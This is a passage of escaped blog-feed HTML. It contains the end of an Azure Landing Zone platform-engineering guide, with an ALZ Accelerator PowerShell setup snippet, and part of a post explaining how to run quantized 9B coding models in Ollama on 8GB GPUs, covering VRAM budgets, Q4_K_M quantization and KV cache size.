style='font-size:1em'\u003eH\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='196' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='36' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='180' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='196' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='4' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='36' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='180' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='196' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='36' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='180' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='196' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='180' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='196' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='36' fill='currentColor' style='font-size:1em'\u003e\u0026amp;\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='180' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='196' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='36' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='180' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='196' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='4' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='36' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='180' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='36' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='180' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='196' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='36' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='180' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='196' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='180' fill='currentColor' style='font-size:1em'\u003eW\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='196' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='196' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='84' fill='currentColor' style='font-size:1em'\u003e2\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='132' fill='currentColor' style='font-size:1em'\u003e3\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='228' fill='currentColor' style='font-size:1em'\u003e6\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='244' fill='currentColor' style='font-size:1em'\u003e7\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='4' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='84' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='132' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='228' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='244' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='84' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='132' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='228' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='244' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='4' fill='currentColor' style='font-size:1em'\u003eH\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='84' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='132' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='228' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='244' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='4' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='84' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='132' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='228' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='244' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='4' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='84' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='132' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='228' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='244' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='228' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='244' fill='currentColor' style='font-size:1em'\u003eY\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='84' fill='currentColor' style='font-size:1em'\u003e/\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='132' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='228' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='4' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='132' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='228' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='244' fill='currentColor' style='font-size:1em'\u003e/\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='84' fill='currentColor' style='font-size:1em'\u003eW\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='132' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='228' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='84' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='132' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='228' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='244' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='4' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='84' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='132' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='228' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='244' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='4' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='84' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='132' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='228' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='244' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='4' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='84' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='132' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='244' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='84' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='228' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='244' fill='currentColor' style='font-size:1em'\u003eK\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='84' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='228' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='228' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='244' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='228' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='244' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='244' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='244' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='244' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='244' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='4' fill='currentColor' style='font-size:1em'\u003eZ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='4' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='4' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='4' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='4' fill='currentColor' style='font-size:1em'\u003eF\u003c/text\u003e\n\u003ctext text-anchor='middle' x='624' y='4' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='4' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='656' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003c/g\u003e\n\n\t\t\u003c/svg\u003e\n\t\n\u003c/div\u003e\n\u003ch2 id=\"6-hands-on-scaffolding-your-landing-zone\"\u003e6. Hands-On: Scaffolding Your Landing Zone\u003c/h2\u003e\n\u003cp\u003eStart with the \u003cstrong\u003eALZ Accelerator\u003c/strong\u003e. This tool generates the repository structure, OIDC identities, and initial GitHub Actions workflows for your specific environment. The defaults are designed for a demo. You\u0026rsquo;re not running a demo — run through the prompts and override what you need.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-powershell\" data-lang=\"powershell\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Install the ALZ Accelerator PowerShell module\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eInstall-Module -Name ALZ -Force -Scope CurrentUser\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Scaffolding a new environment for GitHub Actions\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eNew-ALZEnvironment -Path \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;C:\\Source\\MyALZ\u0026#34;\u003c/span\u003e -DeploymentStrategy \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;GitHubActions\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"key-takeaways\"\u003eKey Takeaways\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003eDefaults are Risks:\u003c/strong\u003e Azure\u0026rsquo;s default public endpoints and standing permissions must be explicitly hardened for enterprise use.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eHierarchy is the Foundation:\u003c/strong\u003e A well-designed Management Group tree is the only way to scale policy and cost controls.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eStandardize on AVM:\u003c/strong\u003e Stop building custom modules for standard Azure resources. Use Microsoft-verified patterns to reduce your maintenance debt.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eShift-Left with PRs:\u003c/strong\u003e Every change to the platform must be previewed via \u003ccode\u003eterraform plan\u003c/code\u003e or \u003ccode\u003ebicep what-if\u003c/code\u003e before a human signs off.\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003eThe transition to an enterprise landing zone is an ongoing process. As you follow the \u003ca href=\"#\"\u003eAzure Platform Engineering series\u003c/a\u003e, we will deep-dive into each layer — from the initial MG hierarchy to Day-2 drift detection.\u003c/p\u003e\n\u003ch2 id=\"sources\"\u003eSources\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/cloud-adoption-framework/ready/landing-zone/\"\u003eMicrosoft CAF: What is an Azure Landing Zone?\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://azure.github.io/Azure-Landing-Zones/accelerator/\"\u003eAzure Landing Zones (ALZ) Accelerator\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://azure.github.io/Azure-Verified-Modules/\"\u003eAzure Verified Modules (AVM)\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/cloud-adoption-framework/ready/enterprise-scale/faq\"\u003eCAF Enterprise-Scale FAQ\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n","description":"Build a production-grade Azure Landing Zone from scratch. Covers all 8 CAF design areas, Terraform AVM, Bicep Deployment Stacks, and secret-less CI/CD.","image":"images/featured.webp","permalink":"https://larryjameshenry.com/posts/azure-landing-zone-guide/","title":"Azure Platform Engineering: The Complete Guide to Building an Enterprise Landing Zone"},{"content":"\u003cp\u003eYou pull a 9B coding model in Ollama, ask it to write a simple function, and your laptop sounds like it\u0026rsquo;s trying to take flight. Three minutes pass. The fan doesn\u0026rsquo;t slow down. The output finally arrives — at roughly the pace of someone typing with one finger. You check \u003ccode\u003envidia-smi\u003c/code\u003e. The GPU is maxed out. The model is mostly running on your CPU.\u003c/p\u003e\n\u003cp\u003eThat\u0026rsquo;s a VRAM problem, and it has a specific, fixable cause.\u003c/p\u003e\n\u003ch2 id=\"the-8gb-rule-what-your-machine-can-actually-run\"\u003eThe 8GB Rule: What Your Machine Can Actually Run\u003c/h2\u003e\n\u003ch3 id=\"how-model-size-translates-to-memory\"\u003eHow Model Size Translates to Memory\u003c/h3\u003e\n\u003cp\u003eA 9-billion parameter model (like the popular Qwen3.5 9B, though smaller alternatives like Gemma 4 E4B exist) stored in FP16 (the default, uncompressed format) requires approximately 18GB of VRAM — 2 bytes per parameter. That immediately rules out any standard consumer GPU.\u003c/p\u003e\n\u003cp\u003eQuantization changes the math. At Q4_K_M (4-bit medium precision), a 9B-class model weighs approximately \u003cstrong\u003e5.0GB to 5.4GB\u003c/strong\u003e. Your OS and display drivers consume another 1-2GB. That leaves a workable budget: an 8GB GPU can run a 9B model, with room for the context window — provided you manage that context aggressively.\u003c/p\u003e\n\u003cp\u003eThe 8GB threshold is where \u0026ldquo;possible\u0026rdquo; becomes \u0026ldquo;practical.\u0026rdquo; You\u0026rsquo;re not barely running the model — you have enough headroom to maintain a useful conversation window and keep generation above 40 tokens/sec.\u003c/p\u003e\n\u003ch3 id=\"dedicated-vram-vs-apple-unified-memory\"\u003eDedicated VRAM vs. Apple Unified Memory\u003c/h3\u003e\n\u003cp\u003eNvidia and AMD GPUs use dedicated GDDR6/X VRAM — high-bandwidth memory physically attached to the card, isolated from system RAM. When a model fits in VRAM, inference is fast. When it doesn\u0026rsquo;t, Ollama offloads layers over the PCIe bus to system RAM, and generation speed collapses from 50 tokens/sec to 3.\u003c/p\u003e\n\u003cp\u003eApple Silicon works differently. The M-series chips use a Unified Memory Architecture (UMA) where CPU and GPU share the same memory pool. A MacBook Pro with 32GB of unified memory can load a 9B or 12B model and maintain a large context window without any offloading penalty. The trade-off is raw bandwidth — M3/M4 Pro memory bandwidth runs around 150GB/s, roughly half of what a high-end Nvidia card delivers, but still far above what PCIe-routed system RAM can provide.\u003c/p\u003e\n\u003cp\u003eCheck your memory budget before pulling a model:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Windows/Linux (Nvidia)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003envidia-smi --query-gpu\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003ememory.total,memory.free --format\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003ecsv\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# macOS (Apple Silicon unified memory check)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esysctl hw.memsize\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cem\u003e(Note for advanced Mac users: run \u003ccode\u003esysctl iogpu.wired_limit_mb\u003c/code\u003e to see your exact GPU memory ceiling).\u003c/em\u003e\u003c/p\u003e\n\u003ch2 id=\"the-magic-of-quantization\"\u003eThe Magic of Quantization\u003c/h2\u003e\n\u003ch3 id=\"what-quantization-does\"\u003eWhat Quantization Does\u003c/h3\u003e\n\u003cp\u003eA model weight in FP16 takes 2 bytes. The same weight in 4-bit integer takes 0.5 bytes. Quantization converts those high-precision floats to low-precision integers — trading a small amount of accuracy for a 75% reduction in memory footprint.\u003c/p\u003e\n\u003cp\u003eGGUF (GPT-Generated Unified Format) is the standard container format for quantized models. It\u0026rsquo;s what Ollama uses internally. When you run \u003ccode\u003eollama pull qwen3.5:9b-instruct-q4_K_M\u003c/code\u003e, you\u0026rsquo;re downloading a GGUF file with 4-bit weights in the K_M (K-means, medium) quantization scheme.\u003c/p\u003e\n\u003cp\u003eQ4_K_M applies more precision to layers that matter more for output quality. It\u0026rsquo;s not uniform — the attention layers get more bits than the feedforward layers. The result is a model that behaves nearly identically to the FP16 version for code generation tasks, at a quarter of the memory cost.\u003c/p\u003e\n\u003ch3 id=\"why-q4_k_m-is-the-right-choice\"\u003eWhy Q4_K_M Is the Right Choice\u003c/h3\u003e\n\u003ctable\u003e\n\t\u003cthead\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003cth\u003eQuantization\u003c/th\u003e\n\t\t\t\t\t\u003cth\u003e9B Model Size\u003c/th\u003e\n\t\t\t\t\t\u003cth\u003eFits 8GB VRAM?\u003c/th\u003e\n\t\t\t\t\t\u003cth\u003eCode Quality\u003c/th\u003e\n\t\t\t\t\t\u003cth\u003eTokens/sec (RTX 3070)\u003c/th\u003e\n\t\t\t\u003c/tr\u003e\n\t\u003c/thead\u003e\n\t\u003ctbody\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003eFP16\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e18GB\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eNo\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eBaseline\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e—\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003eQ8_0\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e9.5GB\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eBorderline\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e99%\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e—\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e\u003cstrong\u003eQ4_K_M\u003c/strong\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e\u003cstrong\u003e5.2GB\u003c/strong\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e\u003cstrong\u003eYes\u003c/strong\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e\u003cstrong\u003e97%\u003c/strong\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e\u003cstrong\u003e40–45\u003c/strong\u003e\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003eQ3_K_M\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e4.2GB\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eYes\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e90%\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e50–55\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003eQ2_K\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e3.0GB\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eYes\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e70%\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e60+\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003eQ4_K_M dominates: fits comfortably in 8GB, runs at good speed, and maintains near-baseline accuracy. Q3 and Q2 save memory, but the logical reasoning degradation shows up fast on anything more complex than autocomplete.\u003c/p\u003e\n\u003cp\u003ePull the specific quantization explicitly — while Ollama often defaults to Q4_K_M, being explicit ensures predictability across environments:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Explicit tag ensures you get exactly the quantization you expect\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eollama pull qwen3.5:9b-instruct-q4_K_M\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"the-hidden-cost-context-window-and-kv-cache\"\u003eThe Hidden Cost: Context Window and KV Cache\u003c/h2\u003e\n\u003ch3 id=\"how-context-eats-your-memory\"\u003eHow Context Eats Your Memory\u003c/h3\u003e\n\u003cp\u003eVRAM usage doesn\u0026rsquo;t stop when the model loads. As you send prompts and receive responses, Ollama grows a Key-Value (KV) cache — a block of VRAM that stores the attention vectors for every token in your conversation history.\u003c/p\u003e\n\u003cp\u003eThe KV cache grows linearly with context length. For Qwen3.5 at Q4_K_M on an 8GB card:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eModel weights: ~5.2GB\u003c/li\u003e\n\u003cli\u003eOS overhead: ~1.5GB\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eRemaining for KV cache: ~1.3GB\u003c/strong\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eAt \u003ccode\u003enum_ctx 8192\u003c/code\u003e with standard KV precision, that 1.3GB is more than sufficient. Because Qwen 3.5 uses Grouped Query Attention (GQA), its KV cache is highly efficient—1.3GB can actually hold upwards of 16,000 to 32,000 tokens. This gives an 8GB card massive headroom for deep coding sessions without offloading.\u003c/p\u003e\n\u003cp\u003eWhen the KV cache exceeds available VRAM, Ollama doesn\u0026rsquo;t error out gracefully. It starts offloading layers to system RAM, and your 45 tokens/sec drops to 3. Generation appears stuck. The fan spins up. You sit wondering if the model crashed.\u003c/p\u003e\n\u003cp\u003eThe model isn\u0026rsquo;t crashed. You ran out of memory.\u003c/p\u003e\n\u003ch3 id=\"diagram\"\u003eDiagram\u003c/h3\u003e\n\u003cp\u003eVisualizes the VRAM budget of an 8GB GPU running a Q4_K_M quantized 9B model. When the KV Cache (context window) grows beyond 